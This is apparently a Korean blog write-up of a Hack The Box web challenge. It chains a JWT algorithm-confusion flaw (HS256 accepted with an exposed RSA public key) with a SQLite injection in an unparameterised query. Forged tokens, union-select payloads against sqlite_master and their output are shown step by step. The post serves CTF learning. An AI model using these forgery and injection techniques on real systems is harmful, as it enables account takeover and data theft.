티스토리 뷰
처음 들어가면 위 페이지와 같이 나옵니다. 우선 회원가입을 위해서 아이디와 비밀번호에 test / test 를 입력해보았습니다. 회원가입 완료 후 로그인을 해보았습니다.
로그인하면 위와 같은 페이지가 나옵니다. 그 이외의 다른 페이지는 찾을 수 없어보입니다.
그리고 나서 쿠키값을 살펴보았습니다. JWT 토큰 값이 있습니다.
//Set-Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2MzE0NTM0Mjh9.6hH9r9eMVOb8rY88iO0Lp21fWG6w8ZY4NWbiJqQvLlkDwt9W8PIbjqh-k4OcULQk0WerkGaA0CBYC8BdSud0viIK50Lv6pjPzt16JrZPdvxp0Z-nT4LcSKfzhafwrpt874SR0Rq71eilUPXBAAbAZCaaFP596aATT_PNLWYuWA2hLnBZwZPPCjPBrPmkF_WCveFuIHJK2C0XjCbH-ey-Rc8AzyltvGzda2nF5X54YLFYGmWyaqyLNhObSt3GYcuM59M9v11r9H7wk9PzgM8X1G4S69k6iPcHVi8RcBxoV06cazKN0IXVfsWwHLxr045U5FzRVeEaK8mZs2mByg6XNw; Max-Age=900; Path=/; Expires=Sun, 12 Sep 2021 13:45:28 GMT
// header
{
"alg": "RS256",
"typ": "JWT"
}
// payload
{
"username": "test",
"pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1631451371
}
JWT는 RS256(RSA 256) 방식을 사용하고 있었고, payload 에 public key 가 포함되어있었습니다.
JWT sign 은 private key 가 필요하지만 verify 는 public key 만 있어도 가능하기에 주어진 public key 를 이용해서 verify 를 해보았습니다. (https://jwt.io/ 사용)
보시다시피 verify 가 됩니다. 그럼 올바른 public key 임을 확인했습니다.
그리고 제공받은 소스코드를 보면 아래와 같은 코드를 볼 수 있습니다. (JWTHelper.js 파일 내용)
const fs = require('fs');
const jwt = require('jsonwebtoken');
const privateKey = fs.readFileSync('./private.key', 'utf8');
const publicKey = fs.readFileSync('./public.key', 'utf8');
module.exports = {
async sign(data) {
data = Object.assign(data, {pk:publicKey});
return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
},
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}
}
verify 할 때 사용되는 알고리즘이 RS256 만 있는 게 아니었습니다. HS256 도 같이 사용할 수 있다고 합니다.
HS256 은 RSA 방식과 달리 RSA 공개키로 대칭키 알고리즘 방식을 사용하기 때문에 아래와 같이 username 에 해당하는 부분을 변경하더라도 verify 할 수 있었습니다.
// username 을 admin 으로 변경한 jwt token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwayI6ICItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwgImlhdCI6IDE2MzE0NTUzMjN9.tDS5fuWvEAzWcbRmcMXDmojSpPe4V8zaraPtufJ1-e0
// header
{
"alg":"HS256",
"typ":"JWT"
}
//payload
{
"username": "admin",
"pk":공개키 생략,
"iat": int(현재시간)
}
하지만 존재하지 않은 계정으로의 접속은 위와 같이 db에 존재하지 않는 계정이라고 합니다. 그래서 다시 코드를 분석할 필요가 있었습니다.
우선 AuthMiddleware 미들웨어부터 살펴보면 아래와 같습니다.
const JWTHelper = require('../helpers/JWTHelper');
module.exports = async (req, res, next) => {
try{
if (req.cookies.session === undefined) return res.redirect('/auth');
let data = await JWTHelper.decode(req.cookies.session);
req.data = {
username: data.username
}
next();
} catch(e) {
console.log(e);
return res.status(500).send('Internal server error');
}
}
앞서 username을 admin 으로 조작했을 때 위 코드에서 결국 req.data.username 에 admin 이 들어가게 됩니다. 그리고 아래 코드의 3번째 줄에 바로 이 값이 인자로써 사용됩니다.
router.get('/', AuthMiddleware, async (req, res, next) => {
try{
let user = await DBHelper.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist in our database.`);
}
return res.render('index.html', { user });
}catch (err){
return next(err);
}
});
그리고 DBHelper 에 정의된 코드를 보면 아래와 같습니다.
const sqlite = require('sqlite3');
const db = new sqlite.Database('./database.db', err => {
if (!!err) throw err;
console.log('Connected to SQLite');
});
module.exports = {
getUser(username){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
if (err) return rej(err);
res(data);
});
});
},
checkUser(username){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
if (err) return rej();
res(data === undefined);
});
});
},
createUser(username, password){
let query = 'INSERT INTO users(username, password) VALUES(?,?)';
let stmt = db.prepare(query);
stmt.run(username, password);
stmt.finalize();
},
attemptLogin(username, password){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
if (err) return rej();
res(data !== undefined);
});
});
}
}
getUser 함수를 보면 어떠한 query 문에 대한 필터링 없이 username 값이 그대로 삽입됨을 알 수 있습니다. 이로써 SQL Injection 이 가능함을 알 수 있었습니다.
그리고 아래 페이로드를 이용해서 아이디가 user인 타사용자로의 로그인이 가능함을 알 수 있었습니다. 참고로 DB는 sqlite3 을 이용합니다.
// payload
payload={
"username": "test' or 1-- -",
"pk":공개키값,
"iat": int(현재시간)
}
// token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJ0ZXN0JyBvciAxLS0gLSIsICJwayI6ICItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwgImlhdCI6IDE2MzE0NTgyNzJ9.tuaD50Jc6Lq4nAIXarc3Y0ZsGHhA67F3NH8Qx-VFIy4
만약 SQL 구문에 오류가 난다면 아래와 같이 어떤 오류인지 확인할 수도 있었습니다.
소스코드 상에는 어떤 테이블이 있는 지 확인되는 바가 없기 때문에 직접 Database 목록, Table 목록을 알아내야 했습니다.
일반적으로 sqlite 의 경우 새로운 DB를 만들고자 하면 내부적으로 아래와 같은 query 문이 동작합니다.
여기서 중요하게 봐야할 것은 sqlite_master 입니다. mysql 에서도 db schema, table_name, column_names 등을 찾듯이 sqlite 에서는 sqlite_master 테이블을 살펴봐야 합니다.
payload={
"username": "test' union select 1, tbl_name, 3 from sqlite_master limit 0,1-- -",
"pk":public_key,
"iat": now
}
Welcome flag_storage<br>
This site is under development. <br>
Please come back later.
위와 같은 query문을 실행했을 때는 flag_storage 라는 테이블을 확인할 수 있습니다. 그리고 컬럼명을 알아내기 위해서 아래와 같은 페이로드를 사용했습니다.
payload={
"username": "test' union select 1, sql, 3 from sqlite_master where tbl_name='flag_storage' limit 0,1-- -",
"pk":public_key,
"iat": now
}
Welcome CREATE TABLE "flag_storage" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"top_secret_flaag" TEXT
)<br>
This site is under development. <br>
Please come back later.
id 와 top_secret_flaag 라는 컬럼명을 확인했습니다. 이젠 해당 값을 조회해보겠습니다.
payload={
"username": "test' union select 1, top_secret_flaag, 3 from flag_storage limit 0,1-- -",
"pk":public_key,
"iat": now
}
Welcome HTB{가려짐}<br>
This site is under development. <br>
Please come back later.
그리고 결국 조회했더니 플래그가 나왔습니다.
결론적으로 JWT sign 은 RS256 으로 하면서 JWT verify 는 RS256 뿐만 아니라 HS256 을 허용함과 동시에 token 내에 public key를 노출함으로써 token 값을 변조할 수 있었고, 서버 내부 SQL Injection 취약점으로인해서 DB 정보를 추출함으로써 문제를 풀 수 있었습니다.
'보안 > Wargame' 카테고리의 다른 글
[Hackthebox] - baby ninja jinja Writeup(문제풀이) (0) | 2021.09.29 |
---|---|
[Hackthebox] - emo Writeup(문제풀이) (0) | 2021.09.13 |
[Lord of SQLi] nightmare Writeup/문제풀이 (0) | 2021.09.07 |
[Lord of SQLi] zombie assassin Writeup/문제풀이 (0) | 2021.09.07 |
[Lord of SQLi] succubus Writeup/문제풀이 (0) | 2021.09.07 |